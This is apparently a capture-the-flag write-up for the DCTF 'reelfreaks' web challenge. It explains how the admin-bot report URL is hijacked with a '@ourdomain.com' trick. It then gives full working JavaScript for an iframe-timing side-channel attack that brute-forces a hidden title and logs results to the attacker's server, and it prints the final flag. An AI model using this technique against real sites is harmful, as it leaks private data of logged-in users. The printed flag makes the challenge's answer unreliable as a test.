Description
Some things are better to remain unseen. Unless, of course, you are a real freak.
NOTE: the website is served over HTTPS
Flag format: DCTF{}
Files : dctf_web_reelfreaks.zip
Preambule
The sourcecode of the challenge was given.
When accessing the challenge, we can see something like a video database gallery wich can be accessed after being logged in (a registration form is also present).
We can set a video as “watched” or report it to the admin.
Also, we can see all our “watched” videos.
In the zip was attached the sqlite database used, wich contain the video database and registered users.
Analysing
In the source code, we can see that some videos elements are not displayed when setted as “banned” in the database:
query= request.args.get('q', '').lower()
if query:
movies = db.session.query(Movie).filter(Movie.title.ilike(f'%{query}%'), Movie.banned == False).group_by(Movie.title).order_by((Movie.id).desc()).all()
else:
movies=db.session.query(Movie).filter(Movie.banned == False).all()
In the database provided, we can see an example with a video containing “DCTF{…}” as title.
It seems clear that we need to report something to the admin, to exfiltrate the title of the video.
After searching for something like an XSS injection, all points seems to be protected, so we searched around the code of report feature:
@main.route('/report', methods=['POST'])
@login_required
def report():
url = "https://127.0.0.1" + request.form.get('movie')
thread = threading.Thread(target=visit,args=(url,))
thread.start()
return 'OK'
The interesting part is we control the “movie” parameters, and in this case, we can force the bot to visit our website instead of a “local” url with multiple solutions like:
- Using a subdomain, this can be interpreted as https://127.0.0.1.ourdomain.com/
- Using credential hack, this can be interpreted as https://127.0.0.1@ourdomain.com/
So we sends report with “@ourdomain.com/poc.html” as url and we can see that the bot visits it.
But now, what can we do?
We are on a different domain, so we can’t get admin cookie.
With CSP security we can’t directly get something on another domain.
In this case we thinks at other werds ways such as… timing attack?
In the database we can see that the movie containing the flag is using a gif with the size of … ~7mb!! What a cool thing for a timing attack 🙂
The page with watchlist contains the code:
query= request.args.get('q', '').lower()
if query:
movies = db.session.query(Movie).filter(Movie.id.in_(movie_ids),Movie.title.ilike(f'%{query}%')).all()
else:
movies = db.session.query(Movie).filter(Movie.id.in_(movie_ids)).all()
for i,movie in enumerate(movies):
if movie.banned != False and current_user.role != 'real_freak':
movies.pop(i)
continue
This means that we can try to bruteforce flag in q
parameter and use our timing attack to know if the flag was good or not.
Resolution
To do the exfiltration, we are using timing attack with the loading of an iframe.
If the frames load slowly, we can considere that the bot is loading the big flag gif.
So we forces the bot to try all our charset in his watchlist search, and we retains the longest try.
And after some times, the flag leaks!
<body></body>
<script type="text/javascript">
const characters = '| !"#$&\'()*+,-./0123456789:;<=>?@[\\]^``abcdefghijklmnopqrstuvwxyz{}~';
let timings = {};
let currentFlag = 'DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}';
let charIndex = 0;
let maxRounds = 0;
function getSortedKeysByTiming(timings) {
return Object.keys(timings).sort((a, b) => timings[b] - timings[a]);
}
// Logs to our server
function log(message) {
const xhr = new XMLHttpRequest();
xhr.open("GET", "/?" + message);
xhr.send();
}
// Measures timing for each char
function measureTiming(char, flag) {
const iframe = document.createElement('iframe');
iframe.src = 'https://127.0.0.1:5000/watchlist?q=' + encodeURIComponent(flag);
document.body.appendChild(iframe);
const startTime = performance.now();
iframe.onload = () => updateTiming(char, performance.now() - startTime);
iframe.onerror = () => updateTiming(char, -1);
}
// Saves the timing for each char
function updateTiming(char, time) {
if (!(char in timings) || time > timings[char]) {
timings[char] = time; // we keeps the best timing
}
log(`${char}: ${time}`);
clearFrames();
processNextChar();
}
// Resets loaded frames
function clearFrames() {
document.body.innerHTML = ''; // Nettoie le contenu du body
}
// Process bruteforcing each char
function processNextChar() {
if (charIndex < characters.length) {
const currentChar = characters[charIndex];
measureTiming(currentChar, currentFlag + currentChar);
charIndex++;
} else {
const sortedKeys = getSortedKeysByTiming(timings);
log('fini ' + sortedKeys.join(','));
// We can affine timing by adding additionnal rounds
if (maxRounds-- > 0) {
charIndex = 0;
processNextChar();
}
}
}
// Démarrage de l'attaque de timing
processNextChar();
</script>
The flag was: DCTF{l3ak_ev3ry_d4y_0f_ev3ry_w33k}